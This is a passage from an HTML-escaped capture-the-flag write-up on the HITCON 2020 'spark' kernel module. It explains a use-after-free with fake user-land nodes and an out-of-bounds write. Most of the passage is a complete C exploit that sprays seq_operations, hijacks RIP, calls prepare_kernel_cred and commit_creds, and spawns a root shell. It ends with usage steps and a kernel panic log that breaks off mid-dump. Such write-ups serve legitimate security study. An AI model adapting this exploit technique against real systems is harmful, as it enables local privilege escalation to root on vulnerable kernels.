&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: D (its `idx_in_table` is 4)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; is used in &lt;code&gt;spark_graph_query&lt;/code&gt; (And in this function, 8 bytes OOB write can be triggered, explained in later).&lt;/p&gt;
&lt;p&gt;Since the environment of this challenge is No-SMAP and No-SMEP and we can controll fd and bk of UAF node, we can insert fake nodes (defined in user-land) to linked list.
So for the OOB write I set fake nodes to build &lt;code&gt;node_table&lt;/code&gt; like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: UAF node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;trigger-oob-write&#34;&gt;Trigger OOB write&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;spark_graph_query&lt;/code&gt; function, there is a following routine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;temp_dists &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size, _GFP_IO &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_FS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_DIRECT_RECLAIM &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_KSWAPD_RECLAIM);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; ( end &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk; bk &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)end; bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;temp_dists[bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;target&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;idx_in_table];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dist_of_this_path &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_to_cur &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; dist_of_this_path )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_of_this_path;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because our target (and its idx_in_table) of &lt;code&gt;node_table&lt;/code&gt; can be controlld by us, we can write &lt;code&gt;temp_dists&lt;/code&gt; with arbitrary index by setting &lt;code&gt;idx_in_table&lt;/code&gt;.
Furthermore since the weigth of bk node can be controlled by user, we can get arbitrary 8 bytes OOB write.&lt;/p&gt;
&lt;h3 id=&#34;rip-control&#34;&gt;RIP control&lt;/h3&gt;
&lt;p&gt;Since the &lt;code&gt;size&lt;/code&gt; of &lt;code&gt;node_bale&lt;/code&gt; is 4 and then the &lt;code&gt;kamlloc&lt;/code&gt; allocate 32 bytes chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/include/linux/seq_file.h#L31&#34;&gt;&lt;code&gt;struct seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;
&lt;p&gt;We can run user-mode code via RIP control because SMEP is not enabled.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;984153267&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;984153267&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype);
int recv_msg(int msgqid, char* data, size_t size, long mtype);

int send_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, 0);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, 0);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/node&amp;#34;
#define VULN_DEV_CMD_LINK 0x4008D900
#define VULN_DEV_CMD_FINALIZE 0xD902
#define VULN_DEV_CMD_QUERY 0xC010D903
#define VULN_DEV_CMD_GET_INFO 0x8018D901

typedef struct query_t {
  int fd1;
  int fd2;
  int64_t distance;
} query_t;
typedef struct node_info_t {
  uint64_t link_cnt;
  uint64_t idx_in_weights;
  uint64_t weights_size;
} node_info_t;
typedef struct spark_link_t {
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  struct spark_node_t* target;
  uint64_t weight;
} spark_link_t;
typedef struct spark_node_table_t {
  uint64_t size;
  uint64_t capacity;
  struct spark_node_t** nodes;
} spark_node_table_t;
typedef struct spark_node_t {
  uint64_t idx;
  uint32_t ref_cnt;
  uint32_t __padding_0;
  char start_lock[32];
  uint32_t is_finalized;
  uint32_t __padding_1;
  char nb_lock[32];
  uint64_t link_cnt;
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  uint64_t idx_in_table;
  spark_node_table_t* node_table;
} spark_node_t;

static int vuln_dev_link(int fd1, int fd2, int weight);
static int vuln_dev_finalize(int fd);
static int64_t vuln_dev_query(int fd, int fd1, int fd2);
static node_info_t vuln_dev_get_info(int fd);

static int vuln_dev_link(int fd1, int fd2, int weight) {
  return ioctl(fd1, VULN_DEV_CMD_LINK,
               (uint64_t)fd2 | ((uint64_t)weight &amp;lt;&amp;lt; 32));
}
static int vuln_dev_finalize(int fd) {
  return ioctl(fd, VULN_DEV_CMD_FINALIZE);
}
static int64_t vuln_dev_query(int fd, int fd1, int fd2) {
  query_t qry = {.fd1 = fd1, .fd2 = fd2, .distance = -1};
  if (ioctl(fd, VULN_DEV_CMD_QUERY, &amp;amp;qry)) {
    return -1;
  }
  return qry.distance;
}
static node_info_t vuln_dev_get_info(int fd) {
  node_info_t info;
  ioctl(fd, VULN_DEV_CMD_GET_INFO, &amp;amp;info);
  return info;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

__attribute__((naked)) static void get_root_shell() {
  asm volatile(
      &amp;#34;mov rax, [rsp];\n&amp;#34;
      &amp;#34;sub rax, 0x3185d4;\n&amp;#34;  // rax will be kernel_base
      &amp;#34;mov r15, rax;\n&amp;#34;       // r15 will be kernel_base
      // Call prepare_kernel_cred
      &amp;#34;xor rdi, rdi;\n&amp;#34;
      &amp;#34;add rax, 0xbe9c0;\n&amp;#34;  // rax will be prepare_kernel_cred
      &amp;#34;call rax;\n&amp;#34;
      // Call commit_creds
      &amp;#34;mov rdi, rax;\n&amp;#34;
      &amp;#34;mov rax, r15;\n&amp;#34;
      &amp;#34;add rax, 0xbe550;\n&amp;#34;  // rax will be commit_creds
      &amp;#34;call rax;\n&amp;#34;
      :
      :
      : &amp;#34;rax&amp;#34;, &amp;#34;rdi&amp;#34;, &amp;#34;r15&amp;#34;, &amp;#34;memory&amp;#34;);

  restore_state();
}

int main(int argc, char* argv[]) {
  save_state();

  int fds[2];
  puts(&amp;#34;[*] Alloc 2 nodes&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(fds) / 4; ++i) {
    fds[i] = open(VULN_DEV_NAME, O_RDONLY);
  }

  puts(&amp;#34;[*] Link 2 nodes&amp;#34;);
  vuln_dev_link(fds[0], fds[1], 0);

  puts(&amp;#34;[*] Trigger UAF and build fake node and fake link&amp;#34;);
  close(fds[1]);

  char* msg_mem = malloc(0x2000);
  memset(msg_mem, &amp;#39;a&amp;#39;, 0x2000);
  memset(msg_mem + 0x1000 - 48, 0, 0x1000 + 48);

  char* fake_mem = malloc(0x1000);
  memset(fake_mem, 0, 0x1000);
  spark_node_t* fake_node_1 = (spark_node_t*)fake_mem;
  spark_node_t* fake_node_2 = (spark_node_t*)(fake_mem + sizeof(spark_node_t));
  spark_link_t* fake_link_1 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t));
  spark_link_t* fake_link_2 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      sizeof(spark_link_t));
  spark_link_t* fake_link_3 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      2 * sizeof(spark_link_t));
  spark_node_t* uaf_fake_node_data = (spark_node_t*)(msg_mem + 0x1000 - 48 - 8);

  printf(
      &amp;#34;[*] fake_node_1: %p, fake_link_1: %p, fake_node_2: %p, fake_link_2: &amp;#34;
      &amp;#34;%p\n&amp;#34;,
      fake_node_1, fake_link_1, fake_node_2, fake_link_2);

  if (argc == 2) {
    uint64_t uaf_fake_node_addr =
        strtoull(argv[1], NULL, 16);  // R12(==R13+0x60) of panic
    uaf_fake_node_data-&amp;gt;ref_cnt = 3;
    uaf_fake_node_data-&amp;gt;idx_in_table = 0xdeadbeef;
    uaf_fake_node_data-&amp;gt;bk = (spark_link_t*)fake_link_1;
    uaf_fake_node_data-&amp;gt;fd = (spark_link_t*)fake_link_2;

    fake_link_1-&amp;gt;target = fake_node_1;
    fake_link_1-&amp;gt;bk = (spark_link_t*)fake_link_2;
    fake_link_1-&amp;gt;fd = (spark_link_t*)uaf_fake_node_addr;

    fake_link_2-&amp;gt;target = fake_node_2;
    fake_link_2-&amp;gt;bk = (spark_link_t*)uaf_fake_node_addr;
    fake_link_2-&amp;gt;fd = (spark_link_t*)fake_node_1;

    fake_node_1-&amp;gt;idx = 0xdeadbeef;
    fake_node_1-&amp;gt;ref_cnt = 3;
    fake_node_1-&amp;gt;is_finalized = 0;
    fake_node_1-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
    fake_node_1-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1;

    fake_node_2-&amp;gt;idx = 0xcafebebe;
    fake_node_2-&amp;gt;ref_cnt = 3;
    fake_node_2-&amp;gt;is_finalized = 0;
    fake_node_2-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_2-&amp;gt;bk;
    fake_node_2-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_2;
  } else {
    uaf_fake_node_data-&amp;gt;ref_cnt = 1;
  }
  send_msg(1, msg_mem, 0x1000 - 48 + 0x80 - 8, 1);

  puts(&amp;#34;[*] Put fake node to node_tables&amp;#34;);
  vuln_dev_finalize(fds[0]);

  puts(&amp;#34;[*] Modify nodes...&amp;#34;);
  fake_node_1-&amp;gt;bk = (spark_link_t*)fake_link_3;
  fake_node_1-&amp;gt;fd = (spark_link_t*)fake_link_3;
  fake_link_3-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;target = fake_node_2;
  fake_link_3-&amp;gt;weight = (uint64_t)get_root_shell;
  fake_node_2-&amp;gt;idx_in_table = 4;

  puts(&amp;#34;[*] Spraying seq_ops...&amp;#34;);
  int seq_ops_spray[100];
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  close(seq_ops_spray[0]);

  if (fake_node_1-&amp;gt;idx_in_table != 0) {
    puts(&amp;#34;[+] Success to build fake node&amp;#34;);
  } else {
    puts(&amp;#34;[-] Failed to build fake node&amp;#34;);
    return -1;
  }

  int new_nodes[4];
  for (int i = 0; i &amp;lt; sizeof(new_nodes) / 4; ++i) {
    new_nodes[i] = open(VULN_DEV_NAME, O_RDONLY);
    if (i != 0) {
      vuln_dev_link(new_nodes[i - 1], new_nodes[i], 0x100 + i);
    }
  }
  vuln_dev_finalize(new_nodes[3]);

  puts(&amp;#34;[*] Trigger OOB and overwrite seq_ops&amp;#34;);
  vuln_dev_query(fds[0], new_nodes[1], new_nodes[0]);

  puts(&amp;#34;[*] ACE!!&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    char buf[1];
    read(seq_ops_spray[i], buf, 1);
  }

  memset(fake_mem, 0, 0x1000);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To get a root shell, we need to execute the exploit program twice:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the program without any arguments.&lt;/li&gt;
&lt;li&gt;Run the program with value of kernel&amp;rsquo;s R12 register shown by kernel panic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example, after executing this program without any arguments, the kernel panic occurs and its information is printed as following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.936674] BUG: kernel NULL pointer dereference, address: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937311] #PF: supervisor read access in kernel mode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937974] #PF: error_code(0x0000) - not-present page
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.938416] PGD de07067 P4D de07067 PUD de06067 PMD 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939092] Oops: 0000 [#1] SMP NOPTI
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939439] CPU: 0 PID: 123 Comm: exploit Tainted: G            E     5.9.11 #1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939824] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.940679] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.941182] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.942692] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943401] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943929] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944350] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944940] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.945509] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946147] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946744] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947116] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947932] Call Trace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.948909]  traversal+0xa0/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949412]  spark_node_finalize+0x83/0xb0 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949769]  node_ioctl+0x136/0x250 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949977]  ? tomoyo_file_ioctl+0x19/0x20
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950249]  __x64_sys_ioctl+0x96/0xd0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950477]  do_syscall_64+0x37/0x80
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950819]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951459] RIP: 0033:0x423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951794] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953022] RSP: 002b:00007fff9334fb60 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953536] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 0000000000423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954020] RDX: 0000000000000000 RSI: 000000000000d902 RDI: 0000000000000003
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954957] RBP: 00007fff9334fbb0 R08: 0000000000000001 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.955548] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff9334ff18
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.956501] R13: 00007fff9334ff28 R14: 00000000004ae868 R15: 0000000000000001
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957217] Modules linked in: spark(E)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957834] CR2: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958602] ---[ end trace c0dd566a19a98686 ]---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958973] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.959299] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960089] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960471] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961083] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961918] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962316] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
